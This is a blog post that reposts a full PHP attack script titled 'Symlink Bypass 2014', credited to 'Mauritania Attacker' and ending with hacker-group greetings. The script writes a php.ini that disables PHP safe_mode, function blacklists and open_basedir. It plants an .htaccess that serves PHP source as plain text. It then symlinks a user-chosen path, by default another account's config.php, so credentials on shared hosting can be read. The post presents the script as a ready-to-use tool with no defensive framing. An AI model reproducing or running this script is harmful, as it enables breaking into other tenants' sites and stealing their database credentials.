[PHP] Symlink Bypass 2014

  1. <html xmlns="http://www.w3.org/1999/xhtml">
  2.  
  3. <head>
  4. <title>Bypass Symlink 2014</title><link rel="shortcut icon" href="http://www.iconj.com/ico/2/j/2j62fbaa2w.ico" type="image/x-icon" />
  5. <link href="http://fonts.googleapis.com/css?family=Ubuntu&effect=fire-animation" rel="stylesheet" type="text/css">
  6. <style type="text/css">
  7.   html,body { margin: 0; padding: 0; outline: 0; }
  8. a{ font-size: 12px; }
  9. body { direction: ltr;  background:
  10. url("http://i.imgur.com/hg21xZ9.png") repeat ,
  11. url("http://www7.0zz0.com/2014/05/28/03/906797114.jpg") no-repeat center top,top left,top right; background-color:#151515; color: rgb(0, 153, 0); text-align: center } input,textarea,select{ font-weight: bold; color: #000000; }
  12. input,textarea,select:hover{ box-shadow: 0px 0px 4px #00cc00; }
  13. .hedr { font-family: Tahoma, Arial, sans-serif  ;  font-size: 22px; }
  14. .cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 16px; text-shadow: 0px 0px 3px ; }
  15. .cont a:hover{ color: #FF0000 ;  text-shadow:0px 0px 3px #ff0000 ; }
  16. .cone a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 12px; text-shadow: 0px 0px 3px ; }
  17. .cone a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ; }
  18. .tmp tr td{ border: solid 1px #006600; padding: 2px ; font-size: 13px; }
  19. .tmp tr td a { text-decoration: none; }
  20. .foter{ font-size: 9pt; color: #006600 ; text-align: center }
  21. .tmp tr td:hover{ box-shadow: 0px 0px 4px #00cc00; }
  22. .fot{ font-family:Tahoma, Arial, sans-serif; color: #009900 ; font-size: 11pt; }
  23. .for a : hover{ color: #FF0000 ; text-shadow: 0px 0px 1px #FF0000; }
  24. .ir { color: #FF0000; }
  25. .tul { face:Tahoma, Geneva, sans-serif; font-size: 7pt; }
  26. #menu a{ padding: 1px; border: 0px solid green; color: green; text-decoration: none;color: #009900; font-weight: bold; font-family: Tahoma, Geneva, sans-serif; font-size:12px; }
  27. #menu a:hover{ border: 0px solid red; color: red; }
  28.  
  29. </style>
  30.  
  31. </head>
  32.  
  33. <?php
  34.  
  35. // Extract php.ini //
  36.  
  37. $fp = fopen("php.ini","w+");
  38. fwrite($fp,"Safe_mode = OFF
  39. Safe_mode_gid = OFF
  40. Disable_Functions = NONE
  41. Open_basedir = OFF
  42. suhosin.executor.func.blacklist = NONE ");
  43.  
  44.  
  45.  
  46. echo '<br><b class="cont" align="center"><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:green;>Symlink Bypass 2014 Coded By Mauritania Attacker</b></b><br><p align="center">';
  47. echo'
  48. <form method="post">
  49. <input type="text" name="file" value="/home/user/public_html/config.php" size="60"/><br /><br />
  50. <input type="text" name="ghostfile" value="output.txt" size="60"/><br /><br />
  51. <input type="submit" value="Bypass" name="symlink" /> <br /><br />
  52.  
  53.  
  54.  
  55.  
  56.  
  57. </form>
  58. ';
  59. echo '<div class="tul"><b>PHP VERSION:</b> <font color="009900" face="shell, Geneva, sans-serif" style="font-size: 8pt">';echo phpversion();
  60.  
  61. $fichier = $_POST['file'];
  62. $ghostfile = $_POST['ghostfile'];
  63. $symlink = $_POST['symlink'];
  64.  
  65. if ($symlink)
  66. {
  67.  
  68.  
  69.  $dir = "mauritania";
  70.                     if(file_exists($dir)) {
  71.                             echo "<br><font color='red'>[+] mauritania Folder Already Exist °_° are you Drunk XD !!!</font><br />\n";
  72.                     } else {
  73.                             @mkdir($dir); {
  74.                                     echo "<br><font color='red'>\!/ mauritania Folder Created ^_^ \!/</font><br />\n";
  75.                                                                     echo "<br><font color='red'>\!/ $ghostfile Retrieved Successfully ^_^ \!/</font><br />\n";
  76.  
  77.                     } }
  78.  
  79. // Extract Priv8 htaccess File //                                      
  80. $priv9  = "#Priv9 htaccess By Mauritania Attacker
  81. OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
  82. DirectoryIndex $ghostfile
  83. ForceType text/plain
  84. AddType text/plain .php
  85. AddType text/plain .html
  86. AddType text/html .shtml
  87. AddType txt .php
  88. Options All
  89. Options All
  90. ";
  91. $f =@fopen ('mauritania/.htaccess','w');
  92. @fwrite($f , $priv9);
  93.  
  94. @symlink("$fichier","mauritania/$ghostfile");
  95.  
  96. echo '<br /><a target="_blank" href="mauritania/" >'.$ghostfile.'</a>';
  97.  
  98. }
  99. echo"<h3>
  100.     GreetZ To : AnonGhost - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - Robot Pirates - Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG</h3>
  101.         ";
  102.        
  103. echo"Coder: Mauritania Attacker";      
  104.  
  105.        
  106.        
  107. ?>
[PHP] Symlink Bypass 2014 Reviewed by Nguyen Nam Hong on 10:28 AM Rating: 5
Copyright © Kid1412 Blog's 💖 2016
Development by Hong Nguyen Nam
Powered by Blogger.